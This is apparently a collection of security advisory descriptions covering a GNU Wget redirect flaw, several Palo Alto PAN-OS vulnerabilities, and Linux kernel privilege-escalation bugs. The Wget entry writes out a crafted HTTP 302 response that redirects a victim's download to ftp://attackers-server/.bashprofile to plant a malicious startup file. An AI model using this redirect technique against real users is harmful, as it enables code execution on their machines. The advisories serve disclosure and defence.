GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bashprofile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safefile.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request.

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bashprofile Content-Length: 262 Server: Apache

wget will automatically follow the redirect and will download a malicious .bashprofile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safefile.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

A DOM-Based Cross Site Scripting Vulnerability exists in PAN-OS and Panorama Management Web Interfaces. A remote attacker able to convince an authenticated administrator to click on a crafted link to PAN-OS and Panorama Web Interfaces could execute arbitrary JavaScript code in the administrator's browser and perform administrative actions.

This can result in authentication bypass and unintended resource access for the user. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All versions of PAN-OS 8.0.

A cleartext transmission of sensitive information vulnerability in Palo Alto Networks PAN-OS Panorama that discloses an authenticated PAN-OS administrator's PAN-OS session cookie. When an administrator issues a context switch request into a managed firewall with an affected PAN-OS Panorama version, their PAN-OS session cookie is transmitted over cleartext to the firewall. An attacker with the ability to intercept this network traffic between the firewall and Panorama can access the administrator's account and further manipulate devices managed by Panorama. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; PAN-OS 9.1 versions earlier than 9.1.1; All version of PAN-OS 8.0;

A race condition due to insecure creation of a file in a temporary directory vulnerability in PAN-OS allows for root privilege escalation from a limited linux user account. This allows an attacker who has escaped the restricted shell as a low privilege administrator, possibly by exploiting another vulnerability, to escalate privileges to become root user. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.

An authentication bypass by spoofing vulnerability exists in the authentication daemon and User-ID components of Palo Alto Networks PAN-OS by failing to verify the integrity of the Kerberos key distribution center (KDC) before authenticating users. This affects all forms of authentication that use a Kerberos authentication profile. A man-in-the-middle type of attacker with the ability to intercept communication between PAN-OS and KDC can login to PAN-OS as an administrator. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All version of PAN-OS 8.0.

A race condition was found in the way Linux kernel's memory subsystem handled breakage of the read only private mappings COW situation on write access.

An unprivileged local user could use this flaw to gain write access to otherwise read only memory mappings and thus increase their privileges on the system.

Red Hat is aware of this issue and if you have questions about the affectedness of your system please contact Red Hat Support. For additional information see https://access.redhat.com/security/vulnerabilities/2706661

A flaw was found in the Linux kernels with commit b6a2fea39318 ("mm: variable length argument support", from July 19, 2007) but without commit da029c11e6b1 ("exec:Limit arg stack to at most 75% of STKLIM", from July 7, 2017).
